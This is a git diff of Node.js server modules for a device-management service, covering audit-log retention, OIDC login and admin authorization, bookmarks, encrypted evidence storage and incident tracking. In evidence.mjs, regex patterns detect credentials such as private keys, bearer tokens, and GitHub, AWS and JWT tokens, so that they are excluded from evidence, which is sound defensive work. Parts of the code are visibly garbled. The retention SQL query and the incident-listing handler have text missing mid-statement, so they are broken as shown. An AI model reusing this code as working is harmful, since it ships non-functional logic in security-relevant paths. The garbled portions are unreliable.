try{ + const b=z.object({data:z.string().max(1400000).regex(/^[A-Za-z0-9+/]*={0,2}$/),filename:z.string().min(1).max(200)}).strict().parse(req.body),bytes=Buffer.from(b.data,'base64'); + if(!bytes.length||bytes.length>1048576||bytes.toString('base64')!==b.data)return res.status(413).json({error:'Semantic reference document must be canonical base64 up to 1 MiB'}); + const result=await inspector(config,'/embed',{data:b.data}); + if(!result.coverage.complete||!result.coverage.extractionComplete)return res.status(409).json({error:'Complete extraction and chunk coverage are required for a semantic document reference'}); + store.event(null,'semantic.document-reference-created',{actor:req.principal.sub,model:result.model,revision:result.revision,dimensions:result.dimensions});res.json(result); + }catch(e){next(e);} + }); + app.use(express.static(fileURLToPath(new URL('./public',import.meta.url)),{index:'index.html'})); + app.use((error,_req,res,_next)=>{ + config.onError?.(error); + const invalid=error instanceof z.ZodError || error.type==='entity.parse.failed'; + res.status(invalid?400:error.type==='entity.too.large'?413:[400,403,404,409].includes(error.status)?error.status:500).json({error:invalid?'Request validation failed':'Request failed',...(error instanceof z.ZodError?{issues:error.issues.map(v=>({path:v.path.join('.'),message:v.message}))}:{})}); + }); + return app; +} +async function readLimited(response,maxBytes) { + const chunks=[];let size=0; + for await(const chunk of response.body){size+=chunk.length;if(size>maxBytes){await response.body.cancel().catch(()=>{});throw Error('AI response too large');}chunks.push(chunk);} + return Buffer.concat(chunks).toString('utf8'); +} + + + + + + + + diff --git a/apps/server/audit-retention.mjs b/apps/server/audit-retention.mjs new file mode 100644 index 0000000..79e98b0 --- /dev/null +++ b/apps/server/audit-retention.mjs @@ -0,0 +1,52 @@ +import {z} from 'zod'; + +const Options=z.object({days:z.number().int().min(1).max(3650),limit:z.number().int().min(1).max(1000).default(500)}).strict(); +// Only the active exporter's durable cursor permits deletion. Old cursor keys +// from an earlier SIEM configuration never authorize the current destination. +export function pruneAuditEvents(store,{days,limit=500,exportedThrough,now=Date.now(),dryRun=true}){ + const options=Options.parse({days,limit}); + if(!Number.isSafeInteger(exportedThrough)||exportedThrough<0)throw Error('Verified SIEM export cursor required'); + if(!Number.isFinite(now))throw Error('Invalid retention clock'); + const cutoff=new Date(now-options.days*86400000).toISOString(); + const db=store.db;db.exec('SAVEPOINT audit_retention'); + try{ + const hasCases=!!db.prepare("SELECT 1 FROM sqlite_master WHERE type='table' AND name='incident_cases'").get(); + const protectedCase=hasCases?'AND NOT EXISTS (SELECT 1 FROM incident_cases c WHERE c.event_id=e.id)':''; + const hasEvidence=!!db.prepare("SELECT 1 FROM sqlite_master WHERE type='table' AND name='protected_evidence'").get(); + const protectedEvidence=hasEvidence?'AND NOT EXISTS (SELECT 1 FROM protected_evidence p WHERE p.source_event_id=e.id)':''; + const candidates=db.prepare(`SELECT e.id FROM events e WHERE e.timer.id)); + // A batch boundary must not leave a retained correlation pointing at an event + // we removed. It is safe to remove children first and their source next run. + const bound=candidates.map(()=>'?').join(','); + const children=candidates.length?db.prepare(`SELECT id,json_extract(metadata,'$.sourceEventId') AS source FROM events WHERE kind='sigma.alert' AND id IN (${bound})`).all(...ids):[]; + const retainedSources=candidates.length?db.prepare(`SELECT DISTINCT json_extract(metadata,'$.sourceEventId') AS source FROM events WHERE kind='sigma.alert' AND json_extract(metadata,'$.sourceEventId') IN (${bound}) AND id NOT IN (${bound})`).all(...ids,...ids):[]; + for(const row of retainedSources)ids.delete(row.source); + let changed;do{changed=false;for(const child of children){if(ids.has(child.source)&&!ids.has(child.id)){ids.delete(child.source);changed=true;}}}while(changed); + const selected=[...ids]; + if(!dryRun&&selected.length){ + const placeholders=selected.map(()=>'?').join(','); + db.prepare(`DELETE FROM alerts WHERE event_id IN (${placeholders})`).run(...selected); + db.prepare(`DELETE FROM events WHERE id IN (${placeholders})`).run(...selected); + // Device event UUIDs deliberately survive: removing them would let a replay + // recreate expired events. No signing/history/enrollment state is pruned. + store.event(null,'audit.retention-applied',{count:selected.length,retentionDays:days,exportedThrough}); + } + db.exec('RELEASE audit_retention'); + return {dryRun,cutoff,eligible:selected.length,exportedThrough,incidentEvidencePreserved:true,deduplicationPreserved:true}; + }catch(error){db.exec('ROLLBACK TO audit_retention');db.exec('RELEASE audit_retention');throw error;} +} + +export function startAuditRetention(store,siem,{days=0,intervalMs=3600000}={}){ + if(!Number.isInteger(days)||days<0||days>3650)throw Error('AUDIT_RETENTION_DAYS must be 0 or 1..3650'); + if(days)store.db.exec("CREATE INDEX IF NOT EXISTS audit_retention_time ON events(time,id); CREATE INDEX IF NOT EXISTS audit_sigma_source ON events(json_extract(metadata,'$.sourceEventId')) WHERE kind='sigma.alert';"); + let running=false,lastRun=null,lastFailure=null,timer; + function run(){ + if(!days||running)return;running=true; + try{const status=siem.status();lastRun={...pruneAuditEvents(store,{days,exportedThrough:status.cursor,dryRun:false}),at:new Date().toISOString()};lastFailure=null;} + catch{lastFailure=new Date().toISOString();} + finally{running=false;} + } + if(days){timer=setInterval(run,intervalMs);timer.unref();} + return {run,stop:()=>clearInterval(timer),status:()=>({enabled:!!days,days,lastRun,lastFailure,scope:'exported-unreferenced-database-events'})}; +} diff --git a/apps/server/auth.mjs b/apps/server/auth.mjs new file mode 100644 index 0000000..420ca6d --- /dev/null +++ b/apps/server/auth.mjs @@ -0,0 +1,91 @@ +import { createHash, timingSafeEqual } from 'node:crypto'; +import { createRemoteJWKSet, jwtVerify, customFetch } from 'jose'; +import { digest, token } from './store.mjs'; +import { normalizePrincipal,principalForGroups,adminRoutePermission,bootstrapAllowed } from './admin-access.mjs'; +export function authRoutes(app, store, config) { + const {db} = store; + const oidcFetch=config.oidcFetch||fetch; + let discovery; + async function metadata() { + if(!config.oidcIssuer || !config.oidcClientId) throw Error('SSO is not configured'); + if(!discovery) { + const issuer=config.oidcIssuer.replace(/\/$/,''); + if(new URL(issuer).protocol!=='https:') throw Error('OIDC issuer requires HTTPS'); + const response=await oidcFetch(`${issuer}/.well-known/openid-configuration`,{redirect:'error',signal:AbortSignal.timeout(10000)}); + if(!response.ok) throw Error('OIDC discovery failed'); + const m=await response.json(); + if(m.issuer!==config.oidcIssuer || ['authorization_endpoint','token_endpoint','jwks_uri'].some(k=>new URL(m[k]).protocol!=='https:')) throw Error('OIDC metadata rejected'); + discovery=m; + } + return discovery; + } + app.get('/auth/login',async(req,res,next)=>{ + try { + const m=await metadata();const state=token(),verifier=token(),nonce=token(); + const ticket=typeof req.query.ticket==='string'?req.query.ticket:''; + if(ticket && !db.prepare('SELECT id FROM tickets WHERE id=? AND expires>?').get(ticket,Date.now())) return res.status(400).send('Invalid device login'); + db.prepare('INSERT INTO logins VALUES(?,?,?,?,?)').run(state,Date.now()+300000,verifier,nonce,ticket); + res.cookie('sn_login',state,{httpOnly:true,secure:config.secure,sameSite:'lax',maxAge:300000,path:'/auth'}); + const url=new URL(m.authorization_endpoint); + for(const [k,v] of Object.entries({client_id:config.oidcClientId,response_type:'code',scope:'openid profile email',redirect_uri:`${config.publicUrl}/auth/callback`,state,nonce,code_challenge:createHash('sha256').update(verifier).digest('base64url'),code_challenge_method:'S256'})) url.searchParams.set(k,v); + res.redirect(url.toString()); + } catch(e){next(e);} + }); + app.get('/auth/callback',async(req,res,next)=>{ + try { + const state=typeof req.query.state==='string'?req.query.state:''; + if(cookie(req,'sn_login')!==state || !state) return res.status(400).send('Login state rejected'); + const login=db.prepare('SELECT * FROM logins WHERE state=? AND expires>?').get(state,Date.now()); + if(!login || typeof req.query.code!=='string') return res.status(400).send('Login expired'); + db.prepare('DELETE FROM logins WHERE state=?').run(state); + res.clearCookie('sn_login',{path:'/auth'}); + const m=await metadata(); + const form=new URLSearchParams({grant_type:'authorization_code',code:req.query.code,client_id:config.oidcClientId,redirect_uri:`${config.publicUrl}/auth/callback`,code_verifier:login.verifier}); + const headers={'content-type':'application/x-www-form-urlencoded'}; + if(config.oidcClientSecret) { + headers.authorization=`Basic ${Buffer.from(`${encodeURIComponent(config.oidcClientId)}:${encodeURIComponent(config.oidcClientSecret)}`).toString('base64')}`; + } + const r=await oidcFetch(m.token_endpoint,{method:'POST',redirect:'error',headers,body:form,signal:AbortSignal.timeout(10000)}); + if(!r.ok) throw Error('Token exchange failed'); + const result=await r.json(); + const {payload}=await jwtVerify(result.id_token,createRemoteJWKSet(new URL(m.jwks_uri),{[customFetch]:oidcFetch}),{issuer:config.oidcIssuer,audience:config.oidcClientId,algorithms:['RS256','ES256','PS256','EdDSA'],requiredClaims:['exp','iat','sub','nonce']}); + if(payload.nonce!==login.nonce || (payload.azp && payload.azp!==config.oidcClientId)) throw Error('Identity claims rejected'); + const groups=payload[config.oidcGroupsClaim]; + const principal=principalForGroups({sub:payload.sub,name:typeof payload.name==='string'?payload.name:payload.sub},groups,config); + if(login.ticket) { + if(config.oidcDeviceGroup&&(!Array.isArray(groups)||!groups.includes(config.oidcDeviceGroup)))return res.status(403).send('Your account is not authorized for browser enrollment.'); + const ticket=db.prepare('SELECT * FROM tickets WHERE id=? AND expires>?').get(login.ticket,Date.now()); + if(!ticket || ticket.credential) return res.status(400).send('Device login expired or already authorized'); + db.prepare('UPDATE tickets SET credential=? WHERE id=?').run(JSON.stringify(principal),login.ticket); + store.event(null,'sso.device-authorized',{actor:principal.sub}); + return res.type('text').send('Signed in. Return to SafetyNet to complete device enrollment.'); + } + if(!principal.role) return res.status(403).send('Your account is not in an authorized management group.'); + const credential=token();db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+8*3600000,JSON.stringify(principal)); + res.cookie('sn_session',credential,{httpOnly:true,secure:config.secure,sameSite:'lax',maxAge:8*3600000,path:'/'}); + store.event(null,'sso.admin-login',{actor:principal.sub});res.redirect('/'); + }catch(e){next(e);} + }); + app.post('/auth/logout',(req,res)=>{const s=cookie(req,'sn_session');if(s&&req.headers.origin!==config.publicUrl)return res.status(403).json({error:'Same-origin logout required'});if(s)db.prepare('DELETE FROM sessions WHERE hash=?').run(digest(s));res.clearCookie('sn_session',{path:'/'});res.json({ok:true});}); +} +export function cookie(req,name) { + const part=(req.headers.cookie||'').split(';').map(v=>v.trim()).find(v=>v.startsWith(`${name}=`)); + return part?part.slice(name.length+1):''; +} +export function adminMiddleware(store,config) { + return (req,res,next)=>{ + const supplied=(req.headers.authorization||'').replace(/^Bearer /,''); + let principal,cookieAuthenticated=false; + if(bootstrapAllowed(config)&&supplied && config.adminToken && timingSafeEqual(Buffer.from(digest(supplied)),Buffer.from(digest(config.adminToken))))principal=normalizePrincipal({sub:'bootstrap-admin',admin:true}); + else { + const session=store.db.prepare('SELECT principal FROM sessions WHERE hash=? AND expires>?').get(digest(cookie(req,'sn_session')),Date.now()); + if(session){principal=normalizePrincipal(JSON.parse(session.principal));cookieAuthenticated=true;} + } + if(!principal)return res.status(401).json({error:'Administrator authentication required'}); + if(cookieAuthenticated&&!['GET','HEAD','OPTIONS'].includes(req.method)&&req.headers.origin!==config.publicUrl)return res.status(403).json({error:'Same-origin management request required'}); + let permission=adminRoutePermission(req.method,req.originalUrl); + if(config.requireIndependentPolicyApproval&&permission==='policy.write'&&!req.originalUrl.startsWith('/api/admin/policy-reviews/'))permission='policy.prepare'; + if(!permission||!principal.permissions.includes(permission))return res.status(403).json({error:'Management permission required',permission}); + req.principal=principal;next(); + }; +} diff --git a/apps/server/bookmarks.mjs b/apps/server/bookmarks.mjs new file mode 100644 index 0000000..ae7b384 --- /dev/null +++ b/apps/server/bookmarks.mjs @@ -0,0 +1,59 @@ +import { z } from 'zod'; +import { BookmarkSchema,BookmarkItemsSchema } from '../../packages/core/bookmarks.mjs'; +import { PolicySchema,destinationAllowed } from '../../packages/core/policy.mjs'; +import { settingsSectionAllowed } from '../../packages/core/managed-settings.mjs'; +const mutation=z.discriminatedUnion('action',[ + z.object({action:z.literal('add'),expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),bookmark:BookmarkSchema}).strict(), + z.object({action:z.literal('update'),expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),bookmark:BookmarkSchema}).strict(), + z.object({action:z.literal('delete'),expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),id:BookmarkSchema.shape.id}).strict() +]); +export function globalBookmarksValid(store,policy){ + if(policy.browser.bookmarks.personal.revision||policy.browser.bookmarks.personal.items.length)return false; + const managed=policy.browser.bookmarks.managed.map(b=>b.id); + if(!managed.length)return true; + // Let SQLite examine IDs without copying every employee's bookmark collection + // into the management process on each company-policy publication. + return !store.db.prepare(`SELECT 1 AS found FROM bookmarks AS b, json_each(b.items) AS item WHERE json_extract(item.value,'$.id') IN (${managed.map(()=>'?').join(',')}) LIMIT 1`).get(...managed); +} +export function installBookmarkRoutes(app,store,device,admin){ + function active(id){return store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(id);} + function commit(id,state,items,policy,actor,action){ + policy=PolicySchema.parse(policy); + store.db.exec('BEGIN IMMEDIATE'); + try{ + // Requests are synchronous: version and revision comparisons cannot interleave before BEGIN. + store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?) ON CONFLICT(device_id) DO UPDATE SET revision=excluded.revision,items=excluded.items').run(id,state.revision+1,JSON.stringify(items)); + + store.event(id,'bookmarks.changed',{actor,action,count:items.length,revision:state.revision+1,policyVersion:policy.version});store.db.exec('COMMIT'); + }catch(error){store.db.exec('ROLLBACK');throw error;} + return {revision:state.revision+1,items,version:policy.version}; + } + app.post('/api/device/bookmarks',device,(req,res)=>{ + const b=mutation.parse(req.body),p=store.effectivePolicy(req.device.id),s=store.personalBookmarks(req.device.id),rules=p.browser.bookmarks; + if(b.policyVersion!==p.version||b.expectedRevision!==s.revision)return res.status(409).json({error:'Bookmark or policy version conflict'}); + if(Date.parse(p.expiresAt)<=Date.now()||!settingsSectionAllowed(p,'library')||!rules[{add:'allowUserAdd',update:'allowUserEdit',delete:'allowUserDelete'}[b.action]])return res.status(403).json({error:'Bookmarks are managed by your administrator'}); + const id=b.bookmark?.id||b.id; + if(rules.managed.some(i=>i.id===id))return res.status(403).json({error:'Company bookmarks cannot be modified'}); + if(b.bookmark&&!destinationAllowed(b.bookmark.url,p))return res.status(403).json({error:'Bookmark destination blocked by policy'}); + const index=s.items.findIndex(i=>i.id===id),items=structuredClone(s.items); + if(b.action==='add'){if(index!==-1)return res.status(409).json({error:'Bookmark ID already exists'});items.push(b.bookmark);} + else {if(index===-1)return res.status(404).json({error:'Bookmark not found'});if(b.action==='delete')items.splice(index,1);else items[index]=b.bookmark;} + BookmarkItemsSchema.parse(items);res.json(commit(req.device.id,s,items,p,`device:${req.device.id}`,b.action)); + }); + app.get('/api/admin/devices/:id/bookmarks',admin,(req,res)=>{ + if(!active(req.params.id))return res.status(404).json({error:'Active device not found'}); + const p=store.effectivePolicy(req.params.id);if(!p.browser.bookmarks.adminReadUserBookmarks)return res.status(403).json({error:'Remote bookmark review disabled by policy'}); + const s=store.personalBookmarks(req.params.id);store.event(req.params.id,'bookmarks.reviewed',{actor:req.principal.sub,count:s.items.length,revision:s.revision});res.json({...s,version:p.version}); + }); + app.put('/api/admin/devices/:id/bookmarks',admin,(req,res)=>{ + const b=z.object({expectedRevision:z.number().int().nonnegative(),policyVersion:z.number().int().positive(),items:BookmarkItemsSchema}).strict().parse(req.body); + if(!active(req.params.id))return res.status(404).json({error:'Active device not found'}); + const p=store.effectivePolicy(req.params.id),s=store.personalBookmarks(req.params.id); + if(!p.browser.bookmarks.adminReadUserBookmarks)return res.status(403).json({error:'Remote bookmark review disabled by policy'}); + if(b.policyVersion!==p.version||b.expectedRevision!==s.revision)return res.status(409).json({error:'Bookmark or policy version conflict'}); + if(b.items.some(i=>p.browser.bookmarks.managed.some(m=>m.id===i.id)))return res.status(400).json({error:'Personal and company bookmark IDs conflict'}); + res.json(commit(req.params.id,s,b.items,p,req.principal.sub,'administrator-update')); + }); +} + + diff --git a/apps/server/evidence.mjs b/apps/server/evidence.mjs new file mode 100644 index 0000000..609d73b --- /dev/null +++ b/apps/server/evidence.mjs @@ -0,0 +1,63 @@ +import {z} from 'zod'; +import {readFileSync,lstatSync} from 'node:fs'; +import {isAbsolute,dirname} from 'node:path'; +import {randomBytes,randomUUID,createCipheriv,createDecipheriv,createHash} from 'node:crypto'; + +const text=z.string().max(16000).refine(v=>!/[\u0000-\u0008\u000b\u000c\u000e-\u001f]/.test(v),'Control characters forbidden'); +const url=z.string().max(4096).refine(v=>{try{const u=new URL(v);return ['https:','http:'].includes(u.protocol)&&!u.username&&!u.password&&!u.search&&!u.hash;}catch{return false;}},'Evidence URLs require HTTP(S), no credentials, query or fragment'); +const digest=z.string().regex(/^[a-f0-9]{64}$/); +// Typed allowlists prevent password, cookie, authorization and arbitrary fields. +const payloads={ + download:z.object({sourceUrl:url,name:z.string().min(1).max(255),sha256:digest,bytes:z.number().int().nonnegative(),mime:z.string().max(100),decision:z.enum(['allow','block']),ruleId:z.string().max(100).optional()}).strict(), + interaction:z.object({pageUrl:url,action:z.enum(['click','copy','cut','paste','submit']),target:z.object({tag:z.string().max(32),role:z.string().max(64).optional(),label:text.optional(),x:z.number().finite().optional(),y:z.number().finite().optional()}).strict().optional(),content:text.optional(),contentSha256:digest.optional(),sensitiveField:z.literal(false)}).strict() +}; +const input=z.object({eventId:z.string().uuid(),type:z.enum(['download','interaction']),payload:z.unknown()}).strict(); +// Conservatively reject recognizable credentials even in otherwise allowed +// prose. This is a second boundary; native capture must still exclude secret +// controls because arbitrary passwords cannot be inferred from their value. +const credentialPatterns=[ + /-----BEGIN (?:[A-Z0-9 ]*PRIVATE KEY|OPENSSH PRIVATE KEY)-----/i, + /\b(?:bearer|basic)\s+[A-Za-z0-9+/_=-]{8,}/i, + /\b(?:password|passwd|pwd|api[ _-]?key|access[ _-]?token|refresh[ _-]?token|client[ _-]?secret|authorization)\b["']?\s*[:=]\s*["']?[^\s"',;]{4,}/i, + /\bsk-[A-Za-z0-9_-]{16,}\b/, + /\bgh[pousr]_[A-Za-z0-9]{20,}\b/, + /\bgithub_pat_[A-Za-z0-9_]{20,}\b/, + /\bAKIA[A-Z0-9]{16}\b/, + /\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\b/ +]; +function includesCredential(payload){ + const strings=[];if(payload.content)strings.push(payload.content);if(payload.target?.label)strings.push(payload.target.label);if(payload.name)strings.push(payload.name); + for(const field of ['sourceUrl','pageUrl'])if(payload[field]){strings.push(payload[field]);try{strings.push(decodeURIComponent(new URL(payload[field]).pathname));}catch{return true;}} + return strings.some(value=>credentialPatterns.some(pattern=>pattern.test(value))); +} +function aad(row){return Buffer.from(JSON.stringify([1,row.id,row.source_event_id,row.device_id,row.type,row.key_id,row.created_at,row.expires_at]));} +function transaction(db,fn){db.exec('SAVEPOINT protected_evidence');try{const result=fn();db.exec('RELEASE protected_evidence');return result;}catch(e){db.exec('ROLLBACK TO protected_evidence');db.exec('RELEASE protected_evidence');throw e;}} +export function installEvidence(app,store,config,device,admin){ + const db=store.db;let key=null,keyId=null; + const days=config.evidenceRetentionDays??30;if(!Number.isInteger(days)||days<1||days>365)throw Error('Evidence retention must be 1..365 days'); + if(config.evidenceKeyFile){ + if(!isAbsolute(config.evidenceKeyFile))throw Error('Evidence key requires an absolute deployment file'); + for(let path=config.evidenceKeyFile;;path=dirname(path)){if(lstatSync(path).isSymbolicLink())throw Error('Linked evidence key paths are forbidden');if(dirname(path)===path)break;} + const stat=lstatSync(config.evidenceKeyFile);if(!stat.isFile()||stat.size!==32)throw Error('Evidence key must be a regular file containing exactly 32 random bytes'); + if(process.platform!=='win32'&&(stat.mode&0o077))throw Error('Evidence key must be restricted to its service owner'); + key=readFileSync(config.evidenceKeyFile);if(key.length!==32)throw Error('Evidence key changed during loading');keyId=createHash('sha256').update(key).digest('hex').slice(0,32); + } + db.exec(`CREATE TABLE IF NOT EXISTS protected_evidence(id TEXT PRIMARY KEY,source_event_id INTEGER NOT NULL REFERENCES events(id),device_id TEXT NOT NULL REFERENCES devices(id),type TEXT NOT NULL,key_id TEXT NOT NULL,created_at TEXT NOT NULL,expires_at TEXT NOT NULL,nonce BLOB NOT NULL,ciphertext BLOB NOT NULL,tag BLOB NOT NULL,UNIQUE(source_event_id,type)); CREATE INDEX IF NOT EXISTS evidence_source ON protected_evidence(source_event_id);`); + const enabled=(_req,res,next)=>key?next():res.status(503).json({error:'Protected evidence storage is not configured'}); + app.post('/api/device/evidence',device,enabled,(req,res)=>{ + const b=input.parse(req.body),payload=payloads[b.type].parse(b.payload);if(includesCredential(payload))return res.status(400).json({error:'Recognizable credentials are excluded from evidence'});const plain=Buffer.from(JSON.stringify(payload));if(plain.length>65536)return res.status(413).json({error:'Evidence too large'}); + const source=db.prepare('SELECT id,kind FROM events WHERE device_id=? AND json_extract(metadata,\'$.eventId\')=?').get(req.device.id,b.eventId);if(!source)return res.status(404).json({error:'Own source event not found'}); + const matching=b.type==='download'?['download.scan','download.released','download.block']:['clipboard.copy','clipboard.cut','clipboard.paste','clipboard.block','agent.action'];if(!matching.includes(source.kind))return res.status(400).json({error:'Evidence type does not match source event'}); + const prior=db.prepare('SELECT id FROM protected_evidence WHERE source_event_id=? AND type=?').get(source.id,b.type);if(prior)return res.status(409).json({error:'Evidence already recorded'}); + const row={id:randomUUID(),source_event_id:source.id,device_id:req.device.id,type:b.type,key_id:keyId,created_at:new Date().toISOString(),expires_at:new Date(Date.now()+days*86400000).toISOString()},nonce=randomBytes(12),cipher=createCipheriv('aes-256-gcm',key,nonce);cipher.setAAD(aad(row));const ciphertext=Buffer.concat([cipher.update(plain),cipher.final()]);plain.fill(0); + transaction(db,()=>{db.prepare('INSERT INTO protected_evidence VALUES(?,?,?,?,?,?,?,?,?,?)').run(row.id,source.id,row.device_id,row.type,keyId,row.created_at,row.expires_at,nonce,ciphertext,cipher.getAuthTag());store.event(row.device_id,'evidence.recorded',{evidenceId:row.id,sourceEventId:source.id,evidenceType:row.type,keyId});});res.status(201).json({id:row.id,sourceEventId:source.id,expiresAt:row.expires_at}); + }); + app.get('/api/admin/evidence/:id',admin,enabled,(req,res)=>{ + const id=z.string().uuid().parse(req.params.id),reason=z.enum(['incident-response','investigation','compliance']).parse(req.query.reason),row=db.prepare('SELECT * FROM protected_evidence WHERE id=?').get(id);if(!row)return res.status(404).json({error:'Evidence not found'}); + const incident=db.prepare("SELECT id FROM incident_cases WHERE event_id=? AND status IN ('open','investigating')").get(row.source_event_id);if(row.expires_at<=new Date().toISOString()&&!incident)return res.status(410).json({error:'Evidence access expired'});if(row.key_id!==keyId)return res.status(503).json({error:'Evidence key unavailable'}); + let payload;try{const cipher=createDecipheriv('aes-256-gcm',key,row.nonce);cipher.setAAD(aad(row));cipher.setAuthTag(row.tag);const plain=Buffer.concat([cipher.update(row.ciphertext),cipher.final()]);try{payload=payloads[row.type].parse(JSON.parse(plain.toString('utf8')));}finally{plain.fill(0);}}catch{return res.status(500).json({error:'Evidence integrity verification failed'});} + // Access must be durably attributable before plaintext leaves the service. + store.event(row.device_id,'evidence.accessed',{actor:req.principal.sub,evidenceId:row.id,sourceEventId:row.source_event_id,evidenceType:row.type,reason}); + res.json({id:row.id,sourceEventId:row.source_event_id,type:row.type,createdAt:row.created_at,expiresAt:row.expires_at,incidentId:incident?.id??null,payload}); + }); +} diff --git a/apps/server/incidents.mjs b/apps/server/incidents.mjs new file mode 100644 index 0000000..f61ba9d --- /dev/null +++ b/apps/server/incidents.mjs @@ -0,0 +1,22 @@ +import {z} from 'zod'; +import {randomUUID} from 'node:crypto'; +const statuses=['open','investigating','resolved','dismissed'],severities=['low','medium','high','critical']; +const positive=z.coerce.number().int().positive().max(Number.MAX_SAFE_INTEGER); +const note=z.string().trim().min(1).max(1000).refine(v=>!/[\u0000-\u0008\u000b\u000c\u000e-\u001f]/.test(v),'Control characters are forbidden'); +const allowedMetadata=['decision','ruleId','policyVersion','version','host','level','sourceEventId','contentType','classification','coverage']; +function safeEvent(row){if(!row)return null;const input=JSON.parse(row.metadata),metadata={};for(const key of allowedMetadata){const v=input[key];if(typeof v==='string'&&v.length<=256)metadata[key]=v;else if(typeof v==='number'&&Number.isSafeInteger(v))metadata[key]=v;}return {id:row.id,time:row.time,kind:row.kind,deviceId:row.device_id,metadata};} +export function installIncidents(app,store){ + const db=store.db; + db.exec(`CREATE TABLE IF NOT EXISTS incident_cases(seq INTEGER PRIMARY KEY AUTOINCREMENT,id TEXT UNIQUE NOT NULL,event_id INTEGER UNIQUE NOT NULL REFERENCES events(id),revision INTEGER NOT NULL,status TEXT NOT NULL,severity TEXT NOT NULL,assignee TEXT,created_at TEXT NOT NULL,updated_at TEXT NOT NULL); + CREATE TABLE IF NOT EXISTS incident_changes(case_id TEXT NOT NULL REFERENCES incident_cases(id),revision INTEGER NOT NULL,time TEXT NOT NULL,actor TEXT NOT NULL,status TEXT NOT NULL,severity TEXT NOT NULL,assignee TEXT,comment TEXT,PRIMARY KEY(case_id,revision)); + CREATE INDEX IF NOT EXISTS incident_case_status ON incident_cases(status,seq);`); + const view=row=>({id:row.id,revision:row.revision,status:row.status,severity:row.severity,assignee:row.assignee,createdAt:row.created_at,updatedAt:row.updated_at,eventId:row.event_id,event:safeEvent(db.prepare('SELECT * FROM events WHERE id=?').get(row.event_id))}); + const find=id=>db.prepare('SELECT * FROM incident_cases WHERE id=?').get(z.string().uuid().parse(id)); + const transaction=fn=>{db.exec('SAVEPOINT incident_change');try{const value=fn();db.exec('RELEASE incident_change');return value;}catch(e){db.exec('ROLLBACK TO incident_change');db.exec('RELEASE incident_change');throw e;}}; + const append=(row,actor,comment)=>db.prepare('INSERT INTO incident_changes VALUES(?,?,?,?,?,?,?,?)').run(row.id,row.revision,row.updated_at,actor,row.status,row.severity,row.assignee,comment??null); + app.get('/api/admin/incidents',(req,res)=>{const q=z.object({status:z.enum(statuses).optional(),severity:z.enum(severities).optional(),before:positive.optional(),limit:z.coerce.number().int().min(1).max(100).default(50)}).strict().parse(req.query),conditions=[],values=[];for(const key of ['status','severity'])if(q[key]){conditions.push(`${key}=?`);values.push(q[key]);}if(q.before){conditions.push('seqq.limit;rows.length=Math.min(rows.length,q.limit);res.json({incidents:rows.map(view),nextBefore:more?rows.at(-1).seq:null});}); + app.get('/api/admin/incidents/:id',(req,res)=>{const row=find(req.params.id);if(!row)return res.status(404).json({error:'Incident not found'});res.json({...view(row),history:db.prepare('SELECT revision,time,actor,status,severity,assignee,comment FROM incident_changes WHERE case_id=? ORDER BY revision').all(row.id)});}); + app.post('/api/admin/incidents',(req,res)=>{const b=z.object({eventId:positive,severity:z.enum(severities).default('medium')}).strict().parse(req.body),source=db.prepare('SELECT * FROM events WHERE id=?').get(b.eventId);if(!source)return res.status(404).json({error:'Security event not found'});if(source.kind.startsWith('incident.'))return res.status(400).json({error:'Incident audit events cannot create incidents'});if(db.prepare('SELECT id FROM incident_cases WHERE event_id=?').get(b.eventId))return res.status(409).json({error:'Event already linked to an incident'});const time=new Date().toISOString(),row={id:randomUUID(),event_id:b.eventId,revision:1,status:'open',severity:b.severity,assignee:null,created_at:time,updated_at:time};transaction(()=>{db.prepare('INSERT INTO incident_cases(id,event_id,revision,status,severity,assignee,created_at,updated_at) VALUES(?,?,?,?,?,?,?,?)').run(row.id,row.event_id,1,row.status,row.severity,null,time,time);append(row,req.principal.sub);store.event(source.device_id,'incident.created',{actor:req.principal.sub,incidentId:row.id,sourceEventId:b.eventId,revision:1,status:'open',severity:row.severity});});res.status(201).json(view(row));}); + app.patch('/api/admin/incidents/:id',(req,res)=>{const b=z.object({expectedRevision:positive,status:z.enum(statuses).optional(),severity:z.enum(severities).optional(),assignee:z.string().trim().min(1).max(160).refine(v=>!/[\u0000-\u001f\u007f]/.test(v),'Control characters are forbidden').nullable().optional(),comment:note.optional()}).strict().parse(req.body),row=find(req.params.id);if(!row)return res.status(404).json({error:'Incident not found'});if(row.revision!==b.expectedRevision)return res.status(409).json({error:'Incident revision conflict',currentRevision:row.revision});if(row.revision>=1000)return res.status(409).json({error:'Incident history limit reached'});const next={...row,...Object.fromEntries(['status','severity','assignee'].filter(k=>Object.hasOwn(b,k)).map(k=>[k,b[k]])),revision:row.revision+1,updated_at:new Date().toISOString()};if(!b.comment&&['status','severity','assignee'].every(k=>next[k]===row[k]))return res.status(400).json({error:'No incident change supplied'});transaction(()=>{const change=db.prepare('UPDATE incident_cases SET revision=?,status=?,severity=?,assignee=?,updated_at=? WHERE id=? AND revision=?').run(next.revision,next.status,next.severity,next.assignee,next.updated_at,row.id,b.expectedRevision);if(change.changes!==1)throw Object.assign(Error('Incident revision conflict'),{status:409});append(next,req.principal.sub,b.comment);store.event(null,'incident.updated',{actor:req.principal.sub,incidentId:row.id,sourceEventId:row.event_id,revision:next.revision,status:next.status,severity:next.severity,...(b.comment?{commentLength:b.comment.length}:{})});});res.json(view(next));}); +} + diff --git a/apps/server/index.mjs b/apps/server/index.mjs new file mode 100644 index 0000000..5c8e9ab --- /dev/null +++ b/apps/server/index.mjs @@ -0,0 +1,35 @@ +import { resolve } from 'node:path'; +import { createApp } from './app.mjs'; +import { openStore } from './store.mjs'; +import { startTelemetry } from './telemetry.mjs'; +import { startSIEM } from './siem.mjs'; +import {startAuditRetention} from './audit-retention.mjs'; +const env=process.env; +const publicUrl=(env.PUBLIC_URL||'http://127.0.0.1:4310').replace(/\/$/,''); +const u=new URL(publicUrl); +if(u.protocol!=='https:' && !['127.0.0.1','localhost','[::1]'].includes(u.hostname))throw Error('Remote management requires HTTPS'); +if(u.protocol==='http:'&&(!env.ADMIN_TOKEN||env.ADMIN_TOKEN.length<32))throw Error('Local development requires ADMIN_TOKEN of at least 32 characters'); 